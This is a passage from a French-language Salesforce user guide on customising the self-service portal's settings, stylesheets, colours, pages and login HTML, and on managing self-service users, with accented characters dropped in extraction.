Modle de cration de requte

Modle de message utiliser lorsque les requtes soumises

via votre portail libre-service ne correspondent aucune rgle
de rponse automatique.

Largeur de page maximale

Largeur maximale en pixels des pages du portail libre-service

provenant de Salesforce.com. Si vous hbergez le portail, il
s'agit de la largeur du cadre HTML intrieur de votre page
de connexion libre-service.

Hauteur de page minimale

Hauteur minimale en pixels des pages du portail libre-service

provenant de Salesforce.com.

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 638

Paramtre

Description

URL de feuille de style

URL complte, accessible au public, de la feuille de style

libre-service de votre entreprise (par exemple, ).
Reportez-vous Personnalisation de l'apparence de votre
portail libre-service la page 639.
Si vous utilisez un modle de couleur prdfini, laissez ce
champ vide.

Modle de couleur

Utilisez l'un des modles de couleur Salesforce.com si vous

ne disposez pas de votre propre feuille de style. Cliquez sur
le lien Afficher pour voir les paramtres du modle. Pour
changer les polices et les couleurs d'un modle de couleurs
de Salesforce.com, reportez-vous Personnalisation des
polices et des couleurs du libre-service la page 642.

Terme de requte - singulier

Terme utilis dans le portail libre-service au lieu de

requte (au singulier).

Terme de requte - pluriel

Terme utilis dans le portail libre-service au lieu de

requtes (au pluriel).

Terme de solution - singulier

Terme utilis dans le portail libre-service au lieu de

solution (au singulier).

Terme de solution - pluriel

Terme utilis dans le portail libre-service au lieu de

solutions (au pluriel).

4. Cliquez sur Enregistrer pour sauvegarder vos paramtres de libre-service.

Voir aussi :
Configuration du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation des polices et des couleurs du libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Gestion des utilisateurs libre-service
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 639

Personnalisation de l'apparence de votre portail libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez donner une apparence significative l'intgralit de votre portail libre-service.
Effectuez les tapes suivantes :
1. Personnalisez les en-ttes et les pieds de page des pages Libre-Service. Reportez-vous Cration des zones d'en-tte et de
pied de page personnaliss la page 640.
2. Personnalisez les polices et couleurs du portail libre-service via l'une de ces options :

Choisissez un modle de couleur prdfini ou tlchargez votre propre feuille de style. Reportez-vous Personnalisation
de la feuille de style libre-service la page 641.
Personnalisez les polices et les couleurs l'aide d'un diteur pointer cliquer. Reportez-vous Personnalisation des polices
et des couleurs du libre-service la page 642.

Voir aussi :
Personnalisation de vos pages de libre-service
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 640

Cration des zones d'en-tte et de pied de page personnaliss

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Autorisation de personnalisation de l'application

Appliquez l'identification de la marque de la socit chaque page de votre portail libre-service en personnalisant vos en-ttes
et pieds de page. Les en-ttes et pieds de page de votre portail peuvent contenir un logo de socit, ou bien le message ou les
couleurs de votre socit.
1.
2.
3.
4.
5.

Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Paramtres.

Cliquez sur Modifier prs de l'en-tte de page rpertori dans la section Zones de la page du portail.
Cochez la case Afficher l'en-tte pour afficher l'en-tte sur les pages du portail.
Cochez la case Afficher le sparateur d'en-tte pour inclure une ligne sparant l'en-tte des pages du corps.
Au besoin, entrez un message de page. Utilisez la barre d'outils de formatage pour formater ce message.
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.

6.
7.
8.
9.

Cliquez sur Enregistrer.

Cliquez sur Modifier prs du pied de page rpertori dans la section Zones de la page du portail.
Cochez la case Afficher le pied de page pour afficher le pied de page sur les pages du portail.
Cochez la case Afficher le sparateur du pied de page pour inclure une ligne sparant l'en-tte des pages du
corps.
10. Au besoin, entrez un message de page. Utilisez la barre d'outils de formatage pour formater ce message.
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.
11. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service

Personnaliser

Guide de l'utilisateur | Activation des paramtres et fonctions du libre-service | 641

Personnalisation de la feuille de style libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Slectionnez un modle de couleur prdfini ou tlchargez un exemple de modle de couleur Libre-service personnaliser.
Ce modle vous permet d'intgrer les lments d'identification de la marque de votre entreprise dans votre portail libre-service.
Remarque: Pour personnaliser le modle de couleur Libre-service avec un diteur de type pointer cliquer, reportez-vous
Personnalisation des polices et des couleurs du libre-service la page 642.
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Paramtres.

Cliquez sur Configuration du libre-service.
Cliquez sur le lien Affichage des options de modle de couleur dans la section des paramtres de la page.
Choisissez des polices et couleurs qui vous conviennent, puis cliquez sur Tlcharger ce modle de couleur.
Pour utiliser un modle de couleur prdfini sans le personnaliser, cliquez sur Slectionner ce modle de couleur.

5. Enregistrez le modle de couleur tlcharg et transmettez-le votre administrateur Web si vous souhaitez le personnaliser
davantage. Le modle de couleur tlcharg est une feuille de style CSS que votre administrateur Web peut modifier.
6. Stockez la feuille de style tlcharge dans un endroit accessible et entrez son URL dans le champ URL de feuille de
style.
7. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation de l'apparence de votre portail libre-service
Personnalisation des polices et des couleurs du libre-service
Personnalisation de vos pages de libre-service

Personnaliser

Guide de l'utilisateur | Personnalisation des polices et des couleurs du libre-service | 642

Personnalisation des polices et des couleurs du

libre-service
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez personnaliser les polices et les couleurs du portail libre-service pour qu'il reflte l'identification de la marque de
votre entreprise. Les polices et couleurs de votre portail sont spcifies dans un portail appel Modle de couleur. Slectionnez
un modle de couleur prdfini et personnalisez-le en utilisant un diteur de type Pointer-cliquer.
1. Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Couleurs et polices.
Salesforce.com met votre disposition des modles prdfinis que vous pouvez personnaliser. Cliquez sur Aperu pour
voir tous les modles.
2. Slectionnez le modle de couleur personnaliser.
partir de la page du modle de couleur, vous pouvez :

Cliquer sur le lien Restaurer la valeur par dfaut pour rtablir le modle d'origine sans personnalisation.
Cliquer sur le lien Retour tous les modles pour revenir la liste des modles de couleur.
Cliquer sur Aperu <Nom du modle>pour visualiser le modle que vous personnalisez.

3. Slectionnez la page du portail personnaliser. Les modles de couleur sont personnaliss page par page, mais certains
lments sont utiliss par plusieurs pages.
partir de la page du portail, vous pouvez :

Cliquer sur Voir des exemples pour visualiser tous les lments que vous pouvez personnaliser.
Cliquer sur Effacer ct d'un lment pour retirer toutes ses ventuelles personnalisations.
Cliquer sur Aperu <Nom du modle>pour visualiser le modle que vous personnalisez.
Cliquez sur le lien Retour toutes les pages pour revenir la liste des pages du portail.

4. Cliquez sur Modifier en regard de l'lment visuel personnaliser. Certains lments sont visibles uniquement sur la page
du portail slectionne, tandis que d'autres sont partags par plusieurs pages. Les changements apports aux lments
partags sont rpercuts sur toutes les pages.
Remarque: Selon l'lment visuel, vous pouvez personnaliser ses attributs avec un diteur Pointer-cliquer ou un
diteur de feuille de style personnalise qui vous permet de modifier directement les feuilles de style en cascade
(CSS). Slectionnez le lien cliquez ici pour passer de l'un l'autre. Si vous utilisez l'diteur Pointer-cliquer,
cochez la case Afficher les attributs avancs pour accder au lien cliquez ici . Il est recommand que la dfinition
des feuilles de style en cascade (CSS) soit effectue par des utilisateurs connaissant leur fonctionnement.

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 643

5. Modifiez l'lment visuel comme vous le souhaitez.

Si vous utilisez un diteur Pointer-cliquer :

Cliquez sur Modifier prs d'un attribut lmentaire ou avanc. Si vous ne voyez pas les attributs avancs, cochez la case
Afficher les attributs avancs.
Changez l'attribut dans la fentre contextuelle.
Cliquez sur OK pour confirmer vos modifications dans la fentre contextuelle.
Si vous utilisez l'diteur de feuille de style personnalise, saisissez le code CSS valide.
Pour obtenir la liste de tous les attributs de page que vous pouvez modifier, reportez-vous Attributs de page libre-service
la page 644.

6. Cliquez sur Enregistrer pour enregistrer tous les changements appliqus l'lment visuel et ses attributs. Les
personnalisations deviennent visibles pour les utilisateurs libre-service lorsque vous activez le modle de couleur.
7. Rptez ces tapes pour personnaliser tous les lments visuels et leurs attributs.
8. Pour revenir la liste des modles de couleur, cliquez sur le lien Retour toutes les pages, puis sur le lien Retour tous
les modles.
9. Cliquez sur Modle actif.
10. Slectionnez le modle activer pour votre portail en temps rel. Votre entreprise ne peut avoir qu'un modle actif.
11. Cliquez sur Enregistrer.
Remarque: Les modifications apportes un modle actif tant immdiatement appliques, il est recommand de
personnaliser totalement le modle avant de l'activer, et ce, afin de ne pas gner les clients.

Personnalisation de vos pages de libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

1. Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Paramtres.

2. Apportez les amliorations ncessaires aux pages de libre-service. Consultez les rubriques suivantes pour plus d'informations :

Personnalisation de la page de connexion la page 645

Personnalisation de la page d'accueil la page 646
Activation de la page Solutions la page 648
Personnalisation de la page de consignation de requte la page 649
Personnalisation de la page d'affichage des requtes la page 650
Personnalisation de la page Suggestions de solutions la page 652

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 644

Remarque:

Vous ne pouvez pas crer plusieurs versions de la mme page du portail libre-service. Vous pouvez toutefois
personnaliser chaque page libre-service.
Les articles de la base de connaissances Salesforce Knowledge ne s'affichent pas dans le portail libre-service.

Voir aussi :
Personnalisation de l'apparence de votre portail libre-service
Personnalisation des polices et des couleurs du libre-service
Dmarrer le libre-service

Attributs de page libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer le portail libre-service :

Grer le portail libre-service

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

La liste suivante numre les attributs de page libre-service pouvant tre modifis avec un diteur Pointer-cliquer :
Attribut de page

Description

Couleur

Couleur du texte.

Gras

Mise en gras du texte. Dtermine, par exemple, si le texte est

en gras.

Taille de la police

Taille du texte.

Polices

Style de caractres spcifique pour l'affichage des lettres.

Police

Liste prioritaire des noms des familles de police d'un lment.

Les navigateurs Web utilisent la premire valeur de police
reconnue.

Soulign

Attribut de soulignement du texte. Par exemple, dtermine si

le texte est soulign.

Couleur de bordure

Couleur d'une bordure.

Style de bordure

Dtermine le style d'une bordure (pointills, tirets ou en

continu).

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 645

Attribut de page

Description

Largeur de bordure

Dtermine la largeur d'une bordure.

Largeur de la bordure infrieure

Dtermine la largeur d'une bordure du bas.

Remplissage

Espace compris entre la bordure et l'lment.

Remplissage vers le haut

Espace compris entre la bordure du haut et l'lment.

Remplissage vers la droite

Espace compris entre la bordure de droite et l'lment.

Remplissage vers la gauche

Espace compris entre la bordure de gauche et l'lment.

Remplissage vers le bas

Espace compris entre la bordure du bas et l'lment.

Hauteur

Dtermine la hauteur de l'lment.

Hauteur de ligne

Dtermine la hauteur de la ligne.

Couleur de l'arrire-plan

Dtermine la couleur de l'arrire-plan de l'lment.

Rptition d'arrire-plan

Dtermine le format d'affichage de l'image d'arrire-plan. Par

exemple, indique si l'image s'affiche plusieurs fois dans l'axe
horizontal ou vertical de la page.

Image d'arrire-plan

Dtermine l'image d'arrire-plan de l'lment. L'URL relative

ou absolue qui hberge l'image doit tre situe juste aprs la
syntaxe URL, entre parenthses (). Par exemple,
url(/sserv/img/tabBg_gray.gif).

Voir aussi :
Personnalisation des polices et des couleurs du libre-service

Personnalisation de la page de connexion

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez personnaliser le contenu de la page de connexion Libre-service partir de la liste associe Pages de portail
libre-service. La page de connexion est la premire que voient apparatre les utilisateurs. C'est sur cette page qu'ils entrent leur
nom d'utilisateur et leur mot de passe. L'option Vous avez oubli votre mot de passe ? permet aux utilisateurs de rinitialiser

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 646

automatiquement leurs mots de passe et de recevoir, par e-mail, un mot de passe temporaire. Les utilisateurs doivent modifier
leurs mots de passe temporaires lors de la connexion. Pour obtenir des dtails sur la configuration d'un nouveau modle de
mot de passe, reportez-vous Modle de nouveau mot de passe la page 637.
1. Pour personnaliser cette page, cliquez sur Modifier prs de la page de connexion rpertorie.
2. Cochez la case Afficher le message pour afficher le message sur la page de connexion.
3. Entrez le message de page. Utilisez la barre d'outils de formatage pour formater ce message.
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.
4. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation de vos pages de libre-service
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Personnalisation de la page d'accueil

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez personnaliser le contenu de la page d'accueil libre-service partir de la liste associe Pages de portail libre-service.
La page d'accueil est la premire page que les clients voient apparatre lorsqu'ils se connectent.
1. Pour personnaliser cette page, cliquez sur Modifier au niveau de la ligne Page d'accueil.
2. Vous pouvez activer les fonctions suivantes :
Fonction

Description

Afficher la liste des meilleures solutions Rpertorie les titres d'un maximum de 5 solutions de votre

choix sur la page d'accueil.

Afficher mes requtes en cours

Rpertorie les requtes en cours de l'utilisateur libre-service

connect.

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 647

Fonction

Description

Afficher le message

Message qui sera affich en haut de la page d'accueil. Vous

pouvez saisir un message de 32 000 caractres maximum,
balises HTML incluses.

3. Si vous avez activ ce message, entrez votre texte dans la zone de texte en utilisant la barre d'outils de formatage pour dfinir
la prsentation (taille, couleur et police).
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.
4. Vous pouvez aussi insrer des champs de fusion destins aux donnes remplacer de manire dynamique. Reportez-vous
Prsentation des champs de fusion la page 67.
5. Cliquez sur Enregistrer.
6. Pour obtenir un aperu de la page d'accueil, cliquez sur Aperu au niveau de la ligne de la page d'accueil. Si vous avez
personnalis la feuille de style libre-service, vos styles personnaliss seront affichs dans l'aperu.
Dfinition des meilleures solutions
Si vous avez activ l'option Afficher la liste des meilleures solutions depuis la page d'accueil, cliquez sur
Ajouter dans la liste associe Solutions de la page Paramtres de libre-service pour rechercher et slectionner les solutions
afficher sur la page d'accueil. Vous ne pouvez slectionner que des solutions ayant t marques comme Visible dans le
portail libre-service.

Voir aussi :
Personnalisation de vos pages de libre-service
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 648

Activation de la page Solutions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez activer la page des solutions libre-service partir de la liste associe des pages de portail libre-service. La page
Solutions permet aux utilisateurs de voir les solutions dont l'option Visible dans le portail libre-service est
slectionne, ainsi que tous les fichiers joints ces solutions.
1.
2.
3.
4.

Pour activer cette page, cliquez sur Modifier au niveau de la ligne de la page Solutions.
Cochez la case Afficher la page Solution.
Cochez la case Afficher le message pour afficher un message en haut de la page Solutions.
Si vous avez activ ce message, entrez votre texte dans la zone de texte en utilisant la barre d'outils de formatage pour dfinir
la prsentation (taille, couleur et police).
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.

5. Vous pouvez aussi insrer des champs de fusion destins aux donnes remplacer de manire dynamique. Reportez-vous
Prsentation des champs de fusion la page 67.
6. Cliquez sur Enregistrer.
7. Pour obtenir un aperu de la page Solutions, cliquez sur Aperu au niveau de la ligne de la page Solutions. Si vous avez
personnalis la feuille de style libre-service, vos styles personnaliss seront affichs dans l'aperu.

Voir aussi :
Personnalisation de vos pages de libre-service
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 649

Personnalisation de la page de consignation de requte

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez activer et personnaliser la page de consignation de requte partir de la liste associe Pages de portail libre-service.
La page de consignation de requte permet aux utilisateurs de soumettre de nouvelles requtes votre quipe de support client.
Les nouvelles requtes soumises partir de cette page seront automatiquement cres dans le portail libre-service et attribues
la file d'attente ou au reprsentant du support dfini par vos rgles d'attribution de requtes.
1. Pour permettre aux utilisateurs de soumettre leurs requtes partir de votre portail libre-service, cliquez sur Modifier au
niveau de la ligne Page de consignation de requte.
2. Cochez la case Afficher la page de consignation d'une requte.
3. Cochez la case Afficher le message pour afficher le message sur cette page.
4. Si vous avez activ ce message, entrez votre texte dans la zone de texte en utilisant la barre d'outils de formatage pour dfinir
la prsentation (taille, couleur et police). Pour obtenir la description des boutons de formatage HTML, reportez-vous
Utilisation de la barre d'outils Format la page 84.
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.
5. Vous pouvez aussi insrer des champs de fusion destins aux donnes remplacer de manire dynamique. Reportez-vous
Prsentation des champs de fusion la page 67.
6. Cliquez sur Enregistrer.
7. Pour modifier les champs qui s'affichent sur la page, cliquez sur le lien Prsentation de page. Pour plus d'informations sur
la modification de la prsentation de page, reportez-vous Personnalisation des prsentations de page la page 546.
Remarque: Si le champ d'une requte est li une rgle de validation, celle-ci peut empcher les utilisateurs du
portail libre-service de consigner une requte si leur accs ne leur permet pas de remplir ce champ. Pensez rendre
ces champs visibles sur la page Consigner une requte.
8. Cliquez sur Enregistrer tout moment pour achever la procdure.

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 650

9. Pour obtenir un aperu de la page de consignation de requte, cliquez sur Aperu au niveau de la ligne Page de consignation
de requte. Si vous avez personnalis la feuille de style libre-service, vos styles personnaliss seront affichs dans l'aperu.

Voir aussi :
Personnalisation de vos pages de libre-service
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Personnalisation de la page d'affichage des requtes

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez activer et personnaliser la page d'affichage des requtes partir de la liste associe Pages de portail libre-service.
La page d'affichage des requtes permet aux utilisateurs de visualiser leurs requtes en cours et closes, d'afficher les solutions
associes, les activits termines, les commentaires et, en option, d'ajouter des commentaires leurs requtes.
1. Cliquez sur Modifier au niveau de la ligne de la page d'affichage des requtes.
2. Cochez la case Afficher la page d'affichage des requtes pour permettre aux utilisateurs d'afficher leurs
requtes en cours et closes.
3. Cochez la case Ajouter des commentaires aux requtes pour permettre aux utilisateurs d'ajouter des commentaires
leurs requtes. Lorsqu'un utilisateur ajoute un commentaire, un e-mail est automatiquement envoy au responsable de
la requte.
4. Cochez la case Ajouter des pices jointes aux requtes pour permettre aux utilisateurs d'adjoindre des fichiers
leurs requtes. Lorsqu'un utilisateur ajoute une pice jointe, un e-mail est envoy automatiquement au responsable de la
requte.
Lors de la modification de la prsentation de la page Afficher les requtes, ajoutez la liste Pices jointes de la requte
associe pour permettre aux utilisateurs libre-service d'afficher les fichiers ajouts leurs requtes. La liste associe indique
galement les fichiers ajouts la requte par les reprsentants du support.
5. Cochez la case Afficher le message pour afficher le message sur cette page.
6. Si vous avez activ ce message, entrez votre texte dans la zone de texte en utilisant la barre d'outils de formatage pour dfinir
la prsentation (taille, couleur et police).
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 651

7. Vous pouvez aussi insrer des champs de fusion destins aux donnes remplacer de manire dynamique. Reportez-vous
Prsentation des champs de fusion la page 67.
8. Cliquez sur Enregistrer.
9. Pour modifier les champs et les listes associes qui s'affichent sur la page, cliquez sur le lien Prsentation de page. Pour
plus d'informations sur la modification de la prsentation de page, reportez-vous Personnalisation des prsentations de
page la page 546.
Ajoutez la liste Activits de requte associe pour permettre aux utilisateurs libre-service d'afficher les activits publiques
termines associes leurs requtes. Vous devez galement cocher la case de scurit au niveau du champ Visible dans
le portail libre-service dans la prsentation des pages d'activit pour permettre aux reprsentants du support
d'afficher ou de masquer les activits termines dans le portail libre-service en cliquant sur Partager ou Ne pas partager,
dans la liste Historique des activits associe la requte.
10. Cliquez sur Enregistrer tout moment pour achever la procdure.
11. Pour obtenir un aperu de la page d'affichage des requtes, cliquez sur Aperu au niveau de la ligne de la page d'affichage
des requtes. Si vous avez personnalis la feuille de style libre-service, vos styles personnaliss seront affichs dans l'aperu.
Conseil: Pour masquer des requtes prcises du portail aux utilisateurs, vous pouvez dslectionner la case Visible
dans le portail libre-service de la requte.
Remarque: Les pages Vues de requtes rpertorient les requtes par ordre dcroissant via le champ Numro de
requte. Les utilisateurs du portail ne peuvent pas modifier cet ordre ni trier les colonnes de requte du portail
libre-service.

Voir aussi :
Configuration du libre-service
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Personnalisation de vos pages de libre-service | 652

Personnalisation de la page Suggestions de solutions

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier les pages Libre-service :

Grer le portail libre-service

AND
Personnaliser l'application

Vous pouvez activer et personnaliser la page Suggestions de solutions partir de la liste associe Pages de portail libre-service.
La page Suggestions de solutions affiche jusqu' dix solutions susceptibles d'aider les utilisateurs rsoudre une requte
particulire. Lorsque vous soumettez une requte ou que vous affichez des requtes dans le portail libre-service, les utilisateurs
ont accs des suggestions de solutions qui leur permettent de clturer automatiquement leurs requtes. Notez que les solutions
suggres n'affichent pas les articles de la base de connaissances Salesforce Knowledge. Reportez-vous Quelles sont les
solutions suggres ? la page 1932.
Pour personnaliser la page Suggestions de solutions :
1. Cliquez sur Modifier au niveau de la ligne de la page Suggestions de solutions.
2. Slectionnez Afficher la page Suggestions de solutions pour afficher la page dans le portail libre-service.
3. Slectionnez le statut de requte clture automatique afficher dans le champ Statut des requtes
cltures par les utilisateurs libre-service. Ce champ doit possder au moins une valeur Clos.
Pour personnaliser le champ Statut, reportez-vous Modification des listes de slection la page 374.
4. Choisissez le nombre maximal de suggestions de solutions qui doivent apparatre simultanment. L'affichage est limit
dix.
5. Slectionnez les motifs de requte clture automatique que les utilisateurs libre-service peuvent choisir
lorsqu'ils clturent automatiquement leurs requtes.
Pour personnaliser les valeurs associes au champ Motif de la requte, reportez-vous Modification des listes de
slection la page 374.
6. Cochez la case Afficher le message pour afficher le message sur cette page.
7. Si vous avez activ ce message, entrez votre texte dans la zone de texte en utilisant la barre d'outils de formatage pour dfinir
la prsentation (taille, couleur et police).
ventuellement, cochez la case Afficher les codes HTML pour afficher le message de votre page en code HTML.
8. Vous pouvez aussi insrer des champs de fusion destins aux donnes remplacer de manire dynamique. Reportez-vous
Prsentation des champs de fusion la page 67.
9. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Gnration du fichier HTML de connexion | 653

10. Pour obtenir un aperu de Page des suggestions de solutions, cliquez sur Aperu au niveau de la ligne de cette page. Si
vous avez personnalis la feuille de style libre-service, vos styles personnaliss seront affichs dans l'aperu.

Voir aussi :
Personnalisation de vos pages de libre-service
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Gnration du fichier HTML de connexion

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour gnrer un portail HTML libre-service :

Grer le portail libre-service

Aprs avoir activ et personnalis votre portail libre-service, gnrez le code URL ou HTML permettant aux utilisateurs de
se connecter votre portail libre-service.
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Paramtres.

Cliquez sur Gnrer le fichier HTML de connexion.
Entrez dans votre site Web l'URL ou le code HTML fourni.
Cliquez sur Termin pour revenir la page Paramtres de libre-service.

Voir aussi :
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gestion des utilisateurs libre-service
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Gestion des utilisateurs libre-service | 654

Gestion des utilisateurs libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs libre-service :

Modifier les utilisateurs libre-service

Pour grer en masse les utilisateurs libre-service :

Grer le portail libre-service

AND
Modifier les utilisateurs libre-service

Grez vos informations sur les utilisateurs libre-service partir d'un emplacement unique et apportez des modifications
simultanment plusieurs utilisateurs. Pour que vos utilisateurs puissent bnficier du portail libre-service, vous devez activer
l'accs en libre-service pour chaque contact. Vous pouvez activer l'accs pour un contact la fois via l'onglet Contacts ou pour
plusieurs contacts via les pages de configuration du libre-service.

Pour activer un par un les utilisateurs libre-service via l'onglet Contacts, reportez-vous Libre-service pour les contacts
la page 1255.
Pour activer plusieurs utilisateurs libre-service simultanment, reportez-vous Activation de plusieurs utilisateurs libre-service
la page 655.
Pour modifier les informations sur les utilisateurs libre-service, reportez-vous Modification des informations d'utilisateur
libre-service la page 656.
Pour rinitialiser les mots de passe des utilisateurs libre-service, reportez-vous Rinitialisation des mots de passe des
utilisateurs du libre-service la page 656.

Voir aussi :
Activation des paramtres et fonctions du libre-service
Personnalisation de l'apparence de votre portail libre-service
Personnalisation de vos pages de libre-service
Gnration du fichier HTML de connexion
Dmarrer le libre-service

Personnaliser

Guide de l'utilisateur | Gestion des utilisateurs libre-service | 655

Activation de plusieurs utilisateurs libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs libre-service :

Modifier les utilisateurs libre-service

Pour grer en masse les utilisateurs libre-service :

Grer le portail libre-service

AND
Modifier les utilisateurs libre-service

Vous pouvez effectuer des actions en masse de gestion des utilisateurs libre-service, comme octroyer un accs en libre-service
plusieurs contacts, simultanment. Pour tre un utilisateur du libre-service, chaque contact doit disposer d'une adresse e-mail
et tre associ un compte.
Pour activer de nouveaux utilisateurs pour votre portail libre-service :
1. Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Utilisateurs.
2. Cliquez sur Activer les nouveaux utilisateurs.
3. Entrez des critres de recherche pour compiler la liste des contacts activer, puis cliquez sur Rechercher. Pour obtenir des
instructions sur le filtrage des donnes, reportez-vous Saisie des critres de filtre la page 1736.
4. Slectionnez les contacts activer et cliquez sur Suivant.
5. Modifiez les informations sur les utilisateurs libre-service selon les besoins.
6. Cochez la case Super utilisateur pour faire du contact un super utilisateur libre-service. Ce type d'utilisateur peut
afficher les informations de la requte, ajouter des commentaires et tlcharger des pices jointes pour toutes les requtes
soumises par les utilisateurs de sa socit.
7. Cliquez sur Enregistrer.

Voir aussi :
Gestion des utilisateurs libre-service

Personnaliser

Guide de l'utilisateur | Gestion des utilisateurs libre-service | 656

Modification des informations d'utilisateur libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs libre-service :

Modifier les utilisateurs libre-service

Pour grer en masse les utilisateurs libre-service :

Grer le portail libre-service

AND
Modifier les utilisateurs libre-service

Modifiez les informations d'utilisateur libre-service afin qu'elles soient jour.

1.
2.
3.
4.
5.

Cliquez sur Configuration Personnalisation Libre-service Portail libre-service Utilisateurs.

Slectionnez les utilisateurs modifier.
Cliquez sur Modifier des utilisateurs.
Apportez les modifications requises ces enregistrements.
Cliquez sur Enregistrer.

Voir aussi :
Gestion des utilisateurs libre-service

Rinitialisation des mots de passe des utilisateurs du libre-service

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour grer les utilisateurs libre-service :

Modifier les utilisateurs libre-service

Pour grer en masse les utilisateurs libre-service :

Grer le portail libre-service

AND
Modifier les utilisateurs libre-service

